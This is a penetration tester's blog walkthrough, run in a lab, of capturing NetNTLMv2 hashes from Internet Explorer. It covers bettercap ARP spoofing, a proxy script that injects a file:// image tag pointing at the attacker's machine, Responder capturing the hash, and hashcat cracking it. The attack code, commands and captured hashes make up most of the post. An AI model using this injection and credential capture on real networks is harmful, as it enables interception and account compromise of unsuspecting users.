Capturing Credentials Over HTTP in IE (NetNTLMv2)

I wanted to cover an awesome attack for capturing credentials over HTTP against Internet Explorer this week.

Capturing Credentials Over HTTP - Introduction

If you didn't know, it is possible to capture NetNLMv2 hashes from Internet Explorer (not Edge) over the internet.

All it requires is a man-in-the-middle attack and your target visiting an HTTP website.

I covered this in my talk at BSidesRDU 2019, and I'll hopefully be sharing the slides/video for that soon.

Initial Configuration

First, I setup a bridged connection on my target (Windows 7) VM.

C:\Users\IEUser>ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : domain
   Link-local IPv6 Address . . . . . : fe80::f547:4c87:9209:9d40%14
   IPv4 Address. . . . . . . . . . . : 192.168.0.42
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.0.1

Tunnel adapter isatap.domain:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : domain

Tunnel adapter Local Area Connection* 11:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Next, I setup a bridged connection on my attacker (Kali) VM.

root@kali:~# ifconfig eth0
eth0: flags=4163  mtu 1500
        inet 192.168.0.41  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::20c:29ff:fe76:3ef7  prefixlen 64  scopeid 0x20
        ether 00:0c:29:76:3e:f7  txqueuelen 1000  (Ethernet)
        RX packets 238  bytes 21780 (21.2 KiB)
        RX errors 0  dropped 9  overruns 0  frame 0
        TX packets 46  bytes 4547 (4.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

I installed and configured bettercap and Responder on my attacking machine.

With everything in place, it was time to perform the attack.

Bettercap Code

First, for the attack, I setup a bettercap ARP spoof.

In addition to this, I built an HTTP proxy caplet based off of one of the examples. This caplet will proxy all HTTP requests through my responder.js file while performing ARP spoofing.

root@kali:~# cat mitm.cap 
net.probe on 
sleep 5
net.probe off

net.recon off
set http.proxy.script responder.js

http.proxy on
arp.spoof on

sleep 1

My responder.js file is also simple. It logs all of the targets that it is taking, and then adds an image tag right before the body closing tag. The image source uses the file protocol to function as a UNC path.

When the browser calls a UNC path, an SMB request is sent out, which allows Responder to capture the target hash.

root@kali:~# cat responder.js 
function onLoad() {
  log("Anchor replace loaded." );
  log("targets: " + env['arp.spoof.targets']);
}

function onResponse(req, res) {
  var body = res.ReadBody();
  if( body.indexOf('</body>') != -1 ) {
      res.Body = body.replace(
          '</body>',
          '<img src="file://192.168.0.41/images/file.jpg" /></body>'
      );
  }
}

Running the Attack

First, I started bettercap with my caplet on my attacking machine.

root@kali:~# bettercap -iface eth0 -caplet mitm.cap 
bettercap v2.25 (built for linux amd64 with go1.12.9) [type 'help' for a list of commands]

[17:19:06] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe
[17:19:08] [endpoint.new] endpoint 192.168.0.42 detected as 00:xx:xx:xx:xx:xx (VMware, Inc.).
[17:19:13] [sys.log] [inf] Anchor replace loaded.
[17:19:13] [sys.log] [inf] targets: 
[17:19:13] [sys.log] [inf] http.proxy enabling forwarding.
[17:19:14] [sys.log] [inf] http.proxy started on 192.168.0.41:8080 (sslstrip disabled)
[17:19:14] [sys.log] [inf] arp.spoof starting net.recon as a requirement for arp.spoof
[17:19:14] [sys.log] [inf] arp.spoof arp spoofer started, probing 256 targets.
192.168.0.0/24 > 192.168.0.41 >> [17:24:37] [endpoint.lost] endpoint 192.168.0.42 (IEWIN7.domain.) 00:xx:xx:xx:xx:xx (VMware, Inc.) lost.
192.168.0.0/24 > 192.168.0.41 >> [17:24:38] [endpoint.new] endpoint 192.168.0.42 detected as 00:xx:xx:xx:xx:xx (VMware, Inc.).

Next, I also started up Responder, so that I could respond to the SMB request.

root@kali:~# responder -I eth0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.4.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.0.41]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']



[+] Listening for events...

With everything running, I browsed to an HTTP website on my target system.

Capturing Credentials Over HTTP -  HTTP website

As you can see, bettercap spoofed an HTTP response for the target's requests.

192.168.0.0/24 > 192.168.0.41 >> [17:27:58] [http.proxy.spoofed-response] {http.proxy.spoofed-response 2020-04-28 17:27:58.288480212 -0400 EDT m=+320.223743153 {192.168.0.42 GET ellenfieldn.com / 7013}}
192.168.0.0/24 > 192.168.0.41 >> `[17:28:03] [http.proxy.spoofed-response] {http.proxy.spoofed-response 2020-04-28 17:28:03.333364275 -0400 EDT m=+325.268627234 {192.168.0.42 GET ellenfieldn.com /malloc.html 6585}}
192.168.0.0/24 > 192.168.0.41 >> `[17:28:03] [http.proxy.spoofed-response] {http.proxy.spoofed-response 2020-04-28 17:28:03.541476791 -0400 EDT m=+325.476739742 {192.168.0.42 GET ellenfieldn.com /main.css 2011}}
192.168.0.0/24 > 192.168.0.41 >> `[17:28:04] [http.proxy.spoofed-response] {http.proxy.spoofed-response 2020-04-28 17:28:04.79913619 -0400 EDT m=+326.734399132 {192.168.0.42 GET ellenfieldn.com /ellenfieldn.jpg 13393}}

While the page looked normal, bettercap inserted the malicious image tag at the bottom.

Capturing Credentials Over HTTP - Modified source

When I looked at my Responder tab, I saw the captured NetNTLMv2 hash for my target system.

[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.0.42 for name ISATAP.DOMAIN (service: Workstation/Redirector)
[*] [LLMNR]  Poisoned answer sent to 192.168.0.42 for name IEWIN7
[*] [LLMNR]  Poisoned answer sent to 192.168.0.42 for name IEWIN7
[*] [LLMNR]  Poisoned answer sent to 192.168.0.42 for name wpad
[*] [LLMNR]  Poisoned answer sent to 192.168.0.42 for name wpad
[SMB] NTLMv2-SSP Client   : 192.168.0.42
[SMB] NTLMv2-SSP Username : IEWIN7\IEUser
[SMB] NTLMv2-SSP Hash     : IEUser::IEWIN7:a4c9bf7210f2e982:22C04270C78B1D4FDA41A273A737D5C6:0101000000000000C0653150DE09D201C06156F5EC512C39000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000000A12C5C6989352C59924301E1D42B046F02C3F2CB2D6959690EACB24939A0A6E0A001000000000000000000000000000000000000900220063006900660073002F003100390032002E003100360038002E0030002E00340031000000000000000000

Cracking the Hash

First, I grabbed the output of my Responder logs, so that I could transfer over my hash.

root@kali:~# cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.0.42.txt 
IEUser::IEWIN7:a4c9bf7210f2e982:22C04270C78B1D4FDA41A273A737D5C6:0101000000000000C0653150DE09D201C06156F5EC512C39000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000000A12C5C6989352C59924301E1D42B046F02C3F2CB2D6959690EACB24939A0A6E0A001000000000000000000000000000000000000900220063006900660073002F003100390032002E003100360038002E0030002E00340031000000000000000000

Next, I loaded up hashcat mode 5600 using the best64 ruleset and the rockyou wordlist.

As you can see, the password cracked almost instantly, and I had the local password!

doyler@mbp:~/Documents$ hashcat -m 5600 -r ~/tools/hashcat/rules/best64.rule ./SMB-NTLMv2-SSP-192.168.0.42.txt ~/tools/cracking/rockyou.txt --force -d 1,2 --self-test-disable
hashcat (v5.1.0-1397-g7f4df9eb) starting...

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 (Jun 23 2019 21:50:55)) - Platform #1 [Apple]
====================================================================
* Device #1: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz, 4096/16384 MB allocatable, 16MCU
* Device #2: Intel(R) UHD Graphics 630, 384/1536 MB allocatable, 24MCU
* Device #3: AMD Radeon Pro 560X Compute Engine, 1024/4096 MB allocatable, 16MCU


... <snip>...

IEUSER::IEWIN7:1479aed6d762887f:c95b9308cafea46b2719631a6e939f73:0101000000000000c0653150de09d20172e0dfa54223bde8000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d201060004000200000008003000300000000000000000000000003000002d0049a4962f956112a895006af599c50109f03019bf248bd9a025f8637972fa0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e0038002e00310035003500000000000000000000000000:Passw0rd!
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ./SMB-NTLMv2-SSP-192.168.0.42.txt
Time.Started.....: Mon Mar 23 14:42:26 2020 (1 sec)
Time.Estimated...: Mon Mar 23 14:42:27 2020 (0 secs)
Guess.Base.......: File (/Users/doyler/tools/cracking/rockyou.txt)
Guess.Mod........: Rules (/Users/doyler/tools/hashcat/rules/best64.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  5407.4 kH/s (8.53ms) @ Accel:128 Loops:38 Thr:1 Vec:4
Speed.#2.........:   845.9 kH/s (8.76ms) @ Accel:2 Loops:4 Thr:64 Vec:1
Speed.#3.........: 20193.7 kH/s (10.50ms) @ Accel:32 Loops:19 Thr:64 Vec:1
Speed.#*.........: 26447.0 kH/s
Recovered........: 4/4 (100.00%) Digests, 4/4 (100.00%) Salts
Progress.........: 21535744/4418070580 (0.49%)
Rejected.........: 0/21535744 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:3 Amplifier:38-76 Iteration:0-38
Restore.Sub.#2...: Salt:3 Amplifier:4-8 Iteration:0-4
Restore.Sub.#3...: Salt:3 Amplifier:0-19 Iteration:0-19
Candidates.#1....: gruman -> james3
Candidates.#2....: anasus0 -> SPORTING3
Candidates.#3....: jamarion -> jasons112

Started: Mon Mar 23 14:42:23 2020
Stopped: Mon Mar 23 14:42:28 2020

Capturing Credentials Over HTTP - Conclusion

While this attack only works against Internet Explorer, I've been successful with it in the past.

If you're ever stuck on an internal engagement, and you see IE in the environment, then give this a shot.

I know that this isn't the only way to capture hashes, but I'm hoping to post more in the future.

In the meantime, check out these other posts for more examples and attacks.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

As an Amazon Associate I earn from qualifying purchases.

Common passed on this blog, I made it to a jam.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

ERROR: si-captcha.php plugin: GD image support not detected in PHP!

Contact your web host and ask them to enable GD image support for PHP.

ERROR: si-captcha.php plugin: imagepng function not detected in PHP!

Contact your web host and ask them to enable imagepng for PHP.

This site uses Akismet to reduce spam. Learn how your comment data is processed.